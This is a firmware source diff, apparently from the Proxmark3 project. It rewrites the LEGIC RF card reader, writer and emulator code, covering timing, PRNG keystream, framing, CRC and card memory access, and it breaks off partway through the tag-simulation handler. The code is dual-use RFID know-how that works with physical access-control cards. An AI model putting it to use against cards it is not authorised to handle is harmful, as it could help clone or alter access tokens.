ALIGN(8); } >osimage :text - . = ALIGN(4); - .data : { + KEEP(*(compressed_data)) *(.data) *(.data.*) *(.ramfunc) @@ -55,6 +51,7 @@ SECTIONS __data_src_start__ = LOADADDR(.data); __data_start__ = ADDR(.data); __data_end__ = __data_start__ + SIZEOF(.data); + __os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata); .bss : { __bss_start__ = .; diff --git a/armsrc/legicrf.c b/armsrc/legicrf.c index 3fbdf5cba..dc4c8d4f6 100644 --- a/armsrc/legicrf.c +++ b/armsrc/legicrf.c @@ -1,5 +1,6 @@ //----------------------------------------------------------------------------- // (c) 2009 Henryk Plötz +// 2016 Iceman // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -7,18 +8,10 @@ //----------------------------------------------------------------------------- // LEGIC RF simulation code //----------------------------------------------------------------------------- - -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" - #include "legicrf.h" -#include "legic_prng.h" -#include "crc.h" static struct legic_frame { - int bits; + uint8_t bits; uint32_t data; } current_frame; @@ -40,21 +33,21 @@ static int legic_reqresp_drift; AT91PS_TC timer; AT91PS_TC prng_timer; -static void setup_timer(void) -{ - /* Set up Timer 1 to use for measuring time between pulses. Since we're bit-banging - * this it won't be terribly accurate but should be good enough. - */ +/* +static void setup_timer(void) { + // Set up Timer 1 to use for measuring time between pulses. Since we're bit-banging + // this it won't be terribly accurate but should be good enough. + // AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); timer = AT91C_BASE_TC1; timer->TC_CCR = AT91C_TC_CLKDIS; timer->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - /* - * Set up Timer 2 to use for measuring time between frames in - * tag simulation mode. Runs 4x faster as Timer 1 - */ + // + // Set up Timer 2 to use for measuring time between frames in + // tag simulation mode. Runs 4x faster as Timer 1 + // AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC2); prng_timer = AT91C_BASE_TC2; prng_timer->TC_CCR = AT91C_TC_CLKDIS; @@ -62,145 +55,174 @@ static void setup_timer(void) prng_timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; } -/* At TIMER_CLOCK3 (MCK/32) */ -#define RWD_TIME_1 150 /* RWD_TIME_PAUSE off, 80us on = 100us */ -#define RWD_TIME_0 90 /* RWD_TIME_PAUSE off, 40us on = 60us */ -#define RWD_TIME_PAUSE 30 /* 20us */ -#define RWD_TIME_FUZZ 20 /* rather generous 13us, since the peak detector + hysteresis fuzz quite a bit */ -#define TAG_TIME_BIT 150 /* 100us for every bit */ -#define TAG_TIME_WAIT 490 /* time from RWD frame end to tag frame start, experimentally determined */ + AT91C_BASE_PMC->PMC_PCER |= (0x1 << 12) | (0x1 << 13) | (0x1 << 14); + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; + + // fast clock + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK | // MCK(48MHz)/32 -- tick=1.5mks + AT91C_TC_WAVE | AT91C_TC_WAVESEL_UP_AUTO | AT91C_TC_ACPA_CLEAR | + AT91C_TC_ACPC_SET | AT91C_TC_ASWTRG_SET; + AT91C_BASE_TC0->TC_RA = 1; + AT91C_BASE_TC0->TC_RC = 0xBFFF + 1; // 0xC000 + +*/ + +// At TIMER_CLOCK3 (MCK/32) +// testing calculating in ticks. 1.5ticks = 1us +#define RWD_TIME_1 120 // READER_TIME_PAUSE 20us off, 80us on = 100us 80 * 1.5 == 120ticks +#define RWD_TIME_0 60 // READER_TIME_PAUSE 20us off, 40us on = 60us 40 * 1.5 == 60ticks +#define RWD_TIME_PAUSE 30 // 20us == 20 * 1.5 == 30ticks */ +#define TAG_BIT_PERIOD 142 // 100us == 100 * 1.5 == 150ticks +#define TAG_FRAME_WAIT 495 // 330us from READER frame end to TAG frame start. 330 * 1.5 == 495 + +#define RWD_TIME_FUZZ 20 // rather generous 13us, since the peak detector + hysteresis fuzz quite a bit #define SIM_DIVISOR 586 /* prng_time/SIM_DIVISOR count prng needs to be forwared */ #define SIM_SHIFT 900 /* prng_time+SIM_SHIFT shift of delayed start */ -#define SESSION_IV 0x55 #define OFFSET_LOG 1024 #define FUZZ_EQUAL(value, target, fuzz) ((value) > ((target)-(fuzz)) && (value) < ((target)+(fuzz))) +#ifndef SHORT_COIL +# define SHORT_COIL LOW(GPIO_SSC_DOUT); +#endif +#ifndef OPEN_COIL +# define OPEN_COIL HIGH(GPIO_SSC_DOUT); +#endif +#ifndef LINE_IN +# define LINE_IN AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DIN; +#endif +// Pause pulse, off in 20us / 30ticks, +// ONE / ZERO bit pulse, +// one == 80us / 120ticks +// zero == 40us / 60ticks +#ifndef COIL_PULSE +# define COIL_PULSE(x) \ + do { \ + SHORT_COIL; \ + WaitTicks( (RWD_TIME_PAUSE) ); \ + OPEN_COIL; \ + WaitTicks((x)); \ + } while (0); +#endif + +// ToDo: define a meaningful maximum size for auth_table. The bigger this is, the lower will be the available memory for traces. +// Historically it used to be FREE_BUFFER_SIZE, which was 2744. +#define LEGIC_CARD_MEMSIZE 1024 +static uint8_t* cardmem; + +static void frame_append_bit(struct legic_frame * const f, uint8_t bit) { + // Overflow, won't happen + if (f->bits >= 31) return; + + f->data |= (bit << f->bits); + f->bits++; +} + +static void frame_clean(struct legic_frame * const f) { + f->data = 0; + f->bits = 0; +} + +// Prng works when waiting in 99.1us cycles. +// and while sending/receiving in bit frames (100, 60) +/*static void CalibratePrng( uint32_t time){ + // Calculate Cycles based on timer 100us + uint32_t i = (time - sendFrameStop) / 100 ; + + // substract cycles of finished frames + int k = i - legic_prng_count()+1; + + // substract current frame length, rewind to beginning + if ( k > 0 ) + legic_prng_forward(k); +} +*/ + /* Generate Keystream */ -static uint32_t get_key_stream(int skip, int count) -{ - uint32_t key=0; int i; +uint32_t get_key_stream(int skip, int count) { - /* Use int to enlarge timer tc to 32bit */ - legic_prng_bc += prng_timer->TC_CV; - prng_timer->TC_CCR = AT91C_TC_SWTRG; + int i; - /* If skip == -1, forward prng time based */ - if(skip == -1) { - i = (legic_prng_bc+SIM_SHIFT)/SIM_DIVISOR; /* Calculate Cycles based on timer */ - i -= legic_prng_count(); /* substract cycles of finished frames */ - i -= count; /* substract current frame length, rewidn to bedinning */ - legic_prng_forward(i); - } else { - legic_prng_forward(skip); - } + // Use int to enlarge timer tc to 32bit + legic_prng_bc += prng_timer->TC_CV; - /* Write Time Data into LOG */ - if(count == 6) { i = -1; } else { i = legic_read_count; } - ((uint8_t*)BigBuf)[OFFSET_LOG+128+i] = legic_prng_count(); - ((uint8_t*)BigBuf)[OFFSET_LOG+256+i*4] = (legic_prng_bc >> 0) & 0xff; - ((uint8_t*)BigBuf)[OFFSET_LOG+256+i*4+1] = (legic_prng_bc >> 8) & 0xff; - ((uint8_t*)BigBuf)[OFFSET_LOG+256+i*4+2] = (legic_prng_bc >>16) & 0xff; - ((uint8_t*)BigBuf)[OFFSET_LOG+256+i*4+3] = (legic_prng_bc >>24) & 0xff; - ((uint8_t*)BigBuf)[OFFSET_LOG+384+i] = count; + // reset the prng timer. - /* Generate KeyStream */ - for(i=0; iPIO_CODR = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; - - /* Use time to crypt frame */ - if(crypt) { - legic_prng_forward(2); /* TAG_TIME_WAIT -> shift by 2 */ - int i; int key = 0; - for(i=0; iTC_CV < (TAG_TIME_WAIT - 30)) ; - - int i; - for(i=0; iTC_CV + TAG_TIME_BIT; - int bit = response & 1; - response = response >> 1; - if(bit) { - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - } else { - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - } - while(timer->TC_CV < nextbit) ; + uint16_t mask = 1; + + /* Bitbang the response */ + SHORT_COIL; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + + /* TAG_FRAME_WAIT -> shift by 2 */ + legic_prng_forward(3); + response ^= legic_prng_get_bits(bits); + + /* Wait for the frame start */ + WaitTicks( TAG_FRAME_WAIT ); + + for (; mask < BITMASK(bits); mask <<= 1) { + if (response & mask) + OPEN_COIL + else + SHORT_COIL + WaitTicks(TAG_BIT_PERIOD); } - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; + SHORT_COIL; } /* Send a frame in reader mode, the FPGA must have been set up by * LegicRfReader */ -static void frame_send_rwd(uint32_t data, int bits) -{ - /* Start clock */ - timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ +void frame_sendAsReader(uint32_t data, uint8_t bits){ - int i; - for(i=0; iTC_CV; - int pause_end = starttime + RWD_TIME_PAUSE, bit_end; - int bit = data & 1; - data = data >> 1; - - if(bit ^ legic_prng_get_bit()) { - bit_end = starttime + RWD_TIME_1; - } else { - bit_end = starttime + RWD_TIME_0; - } - - /* RWD_TIME_PAUSE time off, then some time on, so that the complete bit time is - * RWD_TIME_x, where x is the bit to be transmitted */ - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - while(timer->TC_CV < pause_end) ; - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - legic_prng_forward(1); /* bit duration is longest. use this time to forward the lfsr */ - - while(timer->TC_CV < bit_end) ; + uint32_t starttime = GET_TICKS, send = 0, mask = 1; + + // xor lsfr onto data. + send = data ^ legic_prng_get_bits(bits); + + for (; mask < BITMASK(bits); mask <<= 1) { + if (send & mask) + COIL_PULSE(RWD_TIME_1) + else + COIL_PULSE(RWD_TIME_0) } - { - /* One final pause to mark the end of the frame */ - int pause_end = timer->TC_CV + RWD_TIME_PAUSE; - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - while(timer->TC_CV < pause_end) ; - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - } - - /* Reset the timer, to measure time until the start of the tag frame */ - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ + // Final pause to mark the end of the frame + COIL_PULSE(0); + + // log + uint8_t cmdbytes[] = {bits, BYTEx(data,0), BYTEx(data,1), BYTEx(data,2), BYTEx(send,0), BYTEx(send,1), BYTEx(send,2)}; + LogTrace(cmdbytes, sizeof(cmdbytes), starttime, GET_TICKS, NULL, true); } /* Receive a frame from the card in reader emulation mode, the FPGA and - * timer must have been set up by LegicRfReader and frame_send_rwd. + * timer must have been set up by LegicRfReader and frame_sendAsReader. * * The LEGIC RF protocol from card to reader does not include explicit * frame start/stop information or length information. The reader must @@ -213,366 +235,472 @@ static void frame_send_rwd(uint32_t data, int bits) * for edges. Count the edges in each bit interval. If they are approximately * 0 this was a 0-bit, if they are approximately equal to the number of edges * expected for a 212kHz subcarrier, this was a 1-bit. For timing we use the - * timer that's still running from frame_send_rwd in order to get a synchronization + * timer that's still running from frame_sendAsReader in order to get a synchronization * with the frame that we just sent. * * FIXME: Because we're relying on the hysteresis to just do the right thing * the range is severely reduced (and you'll probably also need a good antenna). * So this should be fixed some time in the future for a proper receiver. */ -static void frame_receive_rwd(struct legic_frame * const f, int bits, int crypt) -{ - uint32_t the_bit = 1; /* Use a bitmask to save on shifts */ - uint32_t data=0; - int i, old_level=0, edges=0; - int next_bit_at = TAG_TIME_WAIT; +static void frame_receiveAsReader(struct legic_frame * const f, uint8_t bits) { + + if ( bits > 32 ) return; - if(bits > 32) { - bits = 32; - } - - AT91C_BASE_PIOA->PIO_ODR = GPIO_SSC_DIN; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DIN; - - /* we have some time now, precompute the cipher - * since we cannot compute it on the fly while reading */ + uint8_t i = bits, edges = 0; + uint32_t the_bit = 1, next_bit_at = 0, data = 0; + uint32_t old_level = 0; + volatile uint32_t level = 0; + + frame_clean(f); + + // calibrate the prng. legic_prng_forward(2); + data = legic_prng_get_bits(bits); + + //FIXED time between sending frame and now listening frame. 330us + uint32_t starttime = GET_TICKS; + // its about 9+9 ticks delay from end-send to here. + WaitTicks( 477 ); - if(crypt) - { - for(i=0; iTC_CV < next_bit_at) ; - - next_bit_at += TAG_TIME_BIT; - - for(i=0; iTC_CV < next_bit_at) { - int level = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); - if(level != old_level) - edges++; + while ( GET_TICKS < next_bit_at) { + + level = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); + + if (level != old_level) + ++edges; + old_level = level; - } - next_bit_at += TAG_TIME_BIT; + } + + next_bit_at += TAG_BIT_PERIOD; - if(edges > 20 && edges < 60) { /* expected are 42 edges */ + // We expect 42 edges (ONE) + if ( edges > 20 ) data ^= the_bit; - } - the_bit <<= 1; + + the_bit <<= 1; } + // output f->data = data; f->bits = bits; - - /* Reset the timer, to synchronize the next frame */ - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ + + // log + uint8_t cmdbytes[] = {bits, BYTEx(data, 0), BYTEx(data, 1)}; + LogTrace(cmdbytes, sizeof(cmdbytes), starttime, GET_TICKS, NULL, false); } -static void frame_append_bit(struct legic_frame * const f, int bit) -{ - if(f->bits >= 31) { - return; /* Overflow, won't happen */ - } - f->data |= (bit<bits); - f->bits++; -} +// Setup pm3 as a Legic Reader +static uint32_t setup_phase_reader(uint8_t iv) { + + // Switch on carrier and let the tag charge for 5ms + HIGH(GPIO_SSC_DOUT); + WaitUS(5000); + + ResetTicks(); + + legic_prng_init(0); + + // send IV handshake + frame_sendAsReader(iv, 7); -static void frame_clean(struct legic_frame * const f) -{ - f->data = 0; - f->bits = 0; -} - -static uint32_t perform_setup_phase_rwd(int iv) -{ - - /* Switch on carrier and let the tag charge for 1ms */ - AT91C_BASE_PIOA->PIO_SODR = GPIO_SSC_DOUT; - SpinDelay(1); - - legic_prng_init(0); /* no keystream yet */ - frame_send_rwd(iv, 7); + // tag and reader has same IV. legic_prng_init(iv); - frame_clean(¤t_frame); - frame_receive_rwd(¤t_frame, 6, 1); - legic_prng_forward(1); /* we wait anyways */ - while(timer->TC_CV < 387) ; /* ~ 258us */ - frame_send_rwd(0x19, 6); + frame_receiveAsReader(¤t_frame, 6); + // 292us (438t) - fixed delay before sending ack. + // minus log and stuff 100tick? + WaitTicks(338); + legic_prng_forward(3); + + // Send obsfuscated acknowledgment frame. + // 0x19 = 0x18 MIM22, 0x01 LSB READCMD + // 0x39 = 0x38 MIM256, MIM1024 0x01 LSB READCMD + switch ( current_frame.data ) { + case 0x0D: frame_sendAsReader(0x19, 6); break; + case 0x1D: + case 0x3D: frame_sendAsReader(0x39, 6); break; + default: break; + } + + legic_prng_forward(2); return current_frame.data; } -static void LegicCommonInit(void) { +void LegicCommonInit(bool clear_mem) { + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); /* Bitbang the transmitter */ - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; + SHORT_COIL; AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_ODR = GPIO_SSC_DIN; + + // reserve a cardmem, meaning we can use the tracelog function in bigbuff easier. + cardmem = BigBuf_get_EM_addr(); + if ( clear_mem ) + memset(cardmem, 0x00, LEGIC_CARD_MEMSIZE); - setup_timer(); - + clear_trace(); + set_tracing(true); crc_init(&legic_crc, 4, 0x19 >> 1, 0x5, 0); + + StartTicks(); } -static void switch_off_tag_rwd(void) -{ - /* Switch off carrier, make sure tag is reset */ - AT91C_BASE_PIOA->PIO_CODR = GPIO_SSC_DOUT; - SpinDelay(10); - +// Switch off carrier, make sure tag is reset +static void switch_off_tag_rwd(void) { + SHORT_COIL; + WaitUS(20); WDT_HIT(); } -/* calculate crc for a legic command */ -static int LegicCRC(int byte_index, int value, int cmd_sz) { - crc_clear(&legic_crc); - crc_update(&legic_crc, 1, 1); /* CMD_READ */ - crc_update(&legic_crc, byte_index, cmd_sz-1); - crc_update(&legic_crc, value, 8); + +// calculate crc4 for a legic READ command +static uint32_t legic4Crc(uint8_t cmd, uint16_t byte_index, uint8_t value, uint8_t cmd_sz) { + crc_clear(&legic_crc); + uint32_t temp = (value << cmd_sz) | (byte_index << 1) | cmd; + crc_update(&legic_crc, temp, cmd_sz + 8 ); return crc_finish(&legic_crc); } -int legic_read_byte(int byte_index, int cmd_sz) { - int byte; +int legic_read_byte( uint16_t index, uint8_t cmd_sz) { - legic_prng_forward(4); /* we wait anyways */ - while(timer->TC_CV < 387) ; /* ~ 258us + 100us*delay */ + uint8_t byte, crc, calcCrc = 0; + uint32_t cmd = (index << 1) | LEGIC_READ; + + // 90ticks = 60us (should be 100us but crc calc takes time.) + //WaitTicks(330); // 330ticks prng(4) - works + WaitTicks(240); // 240ticks prng(3) - works + + frame_sendAsReader(cmd, cmd_sz); + frame_receiveAsReader(¤t_frame, 12); - frame_send_rwd(1 | (byte_index << 1), cmd_sz); - frame_clean(¤t_frame); + // CRC check. + byte = BYTEx(current_frame.data, 0); + crc = BYTEx(current_frame.data, 1); + calcCrc = legic4Crc(LEGIC_READ, index, byte, cmd_sz); - frame_receive_rwd(¤t_frame, 12, 1); - - byte = current_frame.data & 0xff; - if( LegicCRC(byte_index, byte, cmd_sz) != (current_frame.data >> 8) ) { - Dbprintf("!!! crc mismatch: expected %x but got %x !!!", - LegicCRC(byte_index, current_frame.data & 0xff, cmd_sz), current_frame.data >> 8); + if( calcCrc != crc ) { + Dbprintf("!!! crc mismatch: %x != %x !!!", calcCrc, crc); return -1; } + legic_prng_forward(3); return byte; } -/* legic_write_byte() is not included, however it's trivial to implement - * and here are some hints on what remains to be done: - * - * * assemble a write_cmd_frame with crc and send it - * * wait until the tag sends back an ACK ('1' bit unencrypted) - * * forward the prng based on the timing +/* + * - assemble a write_cmd_frame with crc and send it + * - wait until the tag sends back an ACK ('1' bit unencrypted) + * - forward the prng based on the timing */ -int legic_write_byte(int byte, int addr, int addr_sz) { - //do not write UID, CRC, DCF - if(addr <= 0x06) { - return 0; - } +bool legic_write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz) { - //== send write command ============================== - crc_clear(&legic_crc); - crc_update(&legic_crc, 0, 1); /* CMD_WRITE */ - crc_update(&legic_crc, addr, addr_sz); - crc_update(&legic_crc, byte, 8); + bool isOK = false; + int8_t i = 40; + uint8_t edges = 0; + uint8_t cmd_sz = addr_sz+1+8+4; //crc+data+cmd; + uint32_t steps = 0, next_bit_at, start, crc, old_level = 0; - uint32_t crc = crc_finish(&legic_crc); - uint32_t cmd = ((crc <<(addr_sz+1+8)) //CRC - |(byte <<(addr_sz+1)) //Data - |(addr <<1) //Address - |(0x00 <<0)); //CMD = W - uint32_t cmd_sz = addr_sz+1+8+4; //crc+data+cmd + crc = legic4Crc(LEGIC_WRITE, index, byte, addr_sz+1); - legic_prng_forward(2); /* we wait anyways */ - while(timer->TC_CV < 387) ; /* ~ 258us */ - frame_send_rwd(cmd, cmd_sz); + // send write command + uint32_t cmd = LEGIC_WRITE; + cmd |= index << 1; // index + cmd |= byte << (addr_sz+1); // Data + cmd |= (crc & 0xF ) << (addr_sz+1+8); // CRC + + WaitTicks(240); + + frame_sendAsReader(cmd, cmd_sz); + + LINE_IN; - //== wait for ack ==================================== - int t, old_level=0, edges=0; - int next_bit_at =0; - while(timer->TC_CV < 387) ; /* ~ 258us */ - for(t=0; t<80; t++) { + start = GET_TICKS; + + // ACK, - one single "1" bit after 3.6ms + // 3.6ms = 3600us * 1.5 = 5400ticks. + WaitTicks(5400); + + next_bit_at = GET_TICKS + TAG_BIT_PERIOD; + + while ( i-- ) { + WDT_HIT(); edges = 0; - next_bit_at += TAG_TIME_BIT; - while(timer->TC_CV < next_bit_at) { - int level = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); - if(level != old_level) { - edges++; - } + while ( GET_TICKS < next_bit_at) { + + volatile uint32_t level = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); + + if (level != old_level) + ++edges; + old_level = level; } - if(edges > 20 && edges < 60) { /* expected are 42 edges */ - int t = timer->TC_CV; - int c = t/TAG_TIME_BIT; - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ - legic_prng_forward(c); - return 0; + + next_bit_at += TAG_BIT_PERIOD; + + // We expect 42 edges (ONE) + if(edges > 20 ) { + steps = ( (GET_TICKS - start) / TAG_BIT_PERIOD); + legic_prng_forward(steps); + isOK = true; + goto OUT; } } - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1) ; /* Wait till the clock has reset */ - return -1; + +OUT: ; + legic_prng_forward(1); + + uint8_t cmdbytes[] = {1, isOK, BYTEx(steps, 0), BYTEx(steps, 1) }; + LogTrace(cmdbytes, sizeof(cmdbytes), start, GET_TICKS, NULL, false); + return isOK; } -int LegicRfReader(int offset, int bytes) { - int byte_index=0, cmd_sz=0, card_sz=0; - - LegicCommonInit(); - - memset(BigBuf, 0, 1024); - - DbpString("setting up legic card"); - uint32_t tag_type = perform_setup_phase_rwd(SESSION_IV); - switch_off_tag_rwd(); //we lose to mutch time with dprintf - switch(tag_type) { - case 0x1d: - DbpString("MIM 256 card found, reading card ..."); - cmd_sz = 9; - card_sz = 256; - break; - case 0x3d: - DbpString("MIM 1024 card found, reading card ..."); - cmd_sz = 11; - card_sz = 1024; - break; - default: - Dbprintf("Unknown card format: %x",tag_type); - return -1; - } - if(bytes == -1) { - bytes = card_sz; - } - if(bytes+offset >= card_sz) { - bytes = card_sz-offset; +int LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) { + + uint16_t i = 0; + uint8_t isOK = 1; + legic_card_select_t card; + + LegicCommonInit(true); + + if ( legic_select_card_iv(&card, iv) ) { + isOK = 0; + goto OUT; } - perform_setup_phase_rwd(SESSION_IV); + if (len + offset > card.cardsize) + len = card.cardsize - offset; LED_B_ON(); - while(byte_index < bytes) { - int r = legic_read_byte(byte_index+offset, cmd_sz); - if(r == -1 ||BUTTON_PRESS()) { - DbpString("operation aborted"); - switch_off_tag_rwd(); - LED_B_OFF(); - LED_C_OFF(); - return -1; + while (i < len) { + int r = legic_read_byte(offset + i, card.cmdsize); + + if (r == -1 || BUTTON_PRESS()) { + if ( MF_DBGLEVEL >= 2) DbpString("operation aborted"); + isOK = 0; + goto OUT; } - ((uint8_t*)BigBuf)[byte_index] = r; + cardmem[i++] = r; WDT_HIT(); - byte_index++; - if(byte_index & 0x10) LED_C_ON(); else LED_C_OFF(); } - LED_B_OFF(); - LED_C_OFF(); + +OUT: + WDT_HIT(); switch_off_tag_rwd(); - Dbprintf("Card read, use 'hf legic decode' or"); - Dbprintf("'data hexsamples %d' to view results", (bytes+7) & ~7); + LEDsoff(); + cmd_send(CMD_ACK, isOK, len, 0, cardmem, len); return 0; } -void LegicRfWriter(int bytes, int offset) { - int byte_index=0, addr_sz=0; - - LegicCommonInit(); - - DbpString("setting up legic card"); - uint32_t tag_type = perform_setup_phase_rwd(SESSION_IV); - switch_off_tag_rwd(); - switch(tag_type) { - case 0x1d: - if(offset+bytes > 0x100) { - Dbprintf("Error: can not write to 0x%03.3x on MIM 256", offset+bytes); - return; - } - addr_sz = 8; - Dbprintf("MIM 256 card found, writing 0x%02.2x - 0x%02.2x ...", offset, offset+bytes); - break; - case 0x3d: - if(offset+bytes > 0x400) { - Dbprintf("Error: can not write to 0x%03.3x on MIM 1024", offset+bytes); - return; - } - addr_sz = 10; - Dbprintf("MIM 1024 card found, writing 0x%03.3x - 0x%03.3x ...", offset, offset+bytes); - break; - default: - Dbprintf("No or unknown card found, aborting"); - return; - } +void LegicRfWriter(uint16_t offset, uint16_t len, uint8_t iv, uint8_t *data) { - LED_B_ON(); - perform_setup_phase_rwd(SESSION_IV); - legic_prng_forward(2); - while(byte_index < bytes) { - int r = legic_write_byte(((uint8_t*)BigBuf)[byte_index+offset], byte_index+offset, addr_sz); - if((r != 0) || BUTTON_PRESS()) { - Dbprintf("operation aborted @ 0x%03.3x", byte_index); - switch_off_tag_rwd(); - LED_B_OFF(); - LED_C_OFF(); - return; - } - WDT_HIT(); - byte_index++; - if(byte_index & 0x10) LED_C_ON(); else LED_C_OFF(); + #define LOWERLIMIT 4 + uint8_t isOK = 1, msg = 0; + legic_card_select_t card; + + // uid NOT is writeable. + if ( offset <= LOWERLIMIT ) { + isOK = 0; + goto OUT; } - LED_B_OFF(); - LED_C_OFF(); - DbpString("write successful"); + + LegicCommonInit(false); + + if ( legic_select_card_iv(&card, iv) ) { + isOK = 0; + msg = 1; + goto OUT; + } + + if ( len + offset > card.cardsize) + len = card.cardsize - offset; + + LED_B_ON(); + while( len > 0 ) { + --len; + if ( !legic_write_byte( len + offset, data[len], card.addrsize) ) { + Dbprintf("operation failed | %02X | %02X | %02X", len + offset, len, data[len] ); + isOK = 0; + goto OUT; + } + WDT_HIT(); + } +OUT: + cmd_send(CMD_ACK, isOK, msg,0,0,0); + switch_off_tag_rwd(); + LEDsoff(); } -int timestamp; +int legic_select_card_iv(legic_card_select_t *p_card, uint8_t iv){ -/* Handle (whether to respond) a frame in tag mode */ + if ( p_card == NULL ) return 1; + + p_card->tagtype = setup_phase_reader(iv); + + switch(p_card->tagtype) { + case 0x0d: + p_card->cmdsize = 6; + p_card->addrsize = 5; + p_card->cardsize = 22; + break; + case 0x1d: + p_card->cmdsize = 9; + p_card->addrsize = 8; + p_card->cardsize = 256; + break; + case 0x3d: + p_card->cmdsize = 11; + p_card->addrsize = 10; + p_card->cardsize = 1024; + break; + default: + p_card->cmdsize = 0; + p_card->addrsize = 0; + p_card->cardsize = 0; + return 2; + } + return 0; +} +int legic_select_card(legic_card_select_t *p_card){ + return legic_select_card_iv(p_card, 0x01); +} + +//----------------------------------------------------------------------------- +// Work with emulator memory +// +// Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not +// involved in dealing with emulator memory. But if it is called later, it might +// destroy the Emulator Memory. +//----------------------------------------------------------------------------- +// arg0 = offset +// arg1 = num of bytes +void LegicEMemSet(uint32_t arg0, uint32_t arg1, uint8_t *data) { + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + legic_emlset_mem(data, arg0, arg1); +} +// arg0 = offset +// arg1 = num of bytes +void LegicEMemGet(uint32_t arg0, uint32_t arg1) { + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + uint8_t buf[USB_CMD_DATA_SIZE] = {0x00}; + legic_emlget_mem(buf, arg0, arg1); + LED_B_ON(); + cmd_send(CMD_ACK, arg0, arg1, 0, buf, USB_CMD_DATA_SIZE); + LED_B_OFF(); +} +void legic_emlset_mem(uint8_t *data, int offset, int numofbytes) { + cardmem = BigBuf_get_EM_addr(); + memcpy(cardmem + offset, data, numofbytes); +} +void legic_emlget_mem(uint8_t *data, int offset, int numofbytes) { + cardmem = BigBuf_get_EM_addr(); + memcpy(data, cardmem + offset, numofbytes); +} + +void LegicRfInfo(void){ + + int r; + + uint8_t buf[sizeof(legic_card_select_t)] = {0x00}; + legic_card_select_t *card = (legic_card_select_t*) buf; + + LegicCommonInit(false); + + if ( legic_select_card(card) ) { + cmd_send(CMD_ACK,0,0,0,0,0); + goto OUT; + } + + // read UID bytes + for ( uint8_t i = 0; i < sizeof(card->uid); ++i) { + r = legic_read_byte(i, card->cmdsize); + if ( r == -1 ) { + cmd_send(CMD_ACK,0,0,0,0,0); + goto OUT; + } + card->uid[i] = r & 0xFF; + } + + // MCC byte. + r = legic_read_byte(4, card->cmdsize); + uint32_t calc_mcc = CRC8Legic(card->uid, 4);; + if ( r != calc_mcc) { + cmd_send(CMD_ACK,0,0,0,0,0); + goto OUT; + } + + // OK + cmd_send(CMD_ACK, 1, 0, 0, buf, sizeof(legic_card_select_t)); + +OUT: + switch_off_tag_rwd(); + LEDsoff(); +} + +/* Handle (whether to respond) a frame in tag mode + * Only called when simulating a tag. + */ static void frame_handle_tag(struct legic_frame const * const f) { - /* First Part of Handshake (IV) */ - if(f->bits == 7) { - if(f->data == SESSION_IV) { - LED_C_ON(); - prng_timer->TC_CCR = AT91C_TC_SWTRG; - legic_prng_init(f->data); - frame_send_tag(0x3d, 6, 1); /* 0x3d^0x26 = 0x1b */ - legic_state = STATE_IV; - legic_read_count = 0; - legic_prng_bc = 0; - legic_prng_iv = f->data; - - /* TIMEOUT */ - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1); - while(timer->TC_CV < 280); - return; - } else if((prng_timer->TC_CV % 50) > 40) { - legic_prng_init(f->data); - frame_send_tag(0x3d, 6, 1); - SpinDelay(20); - return; - } - } + // log + //uint8_t cmdbytes[] = {bits, BYTEx(data, 0), BYTEx(data, 1)}; + //LogTrace(cmdbytes, sizeof(cmdbytes), starttime, GET_TICKS, NULL, false); + 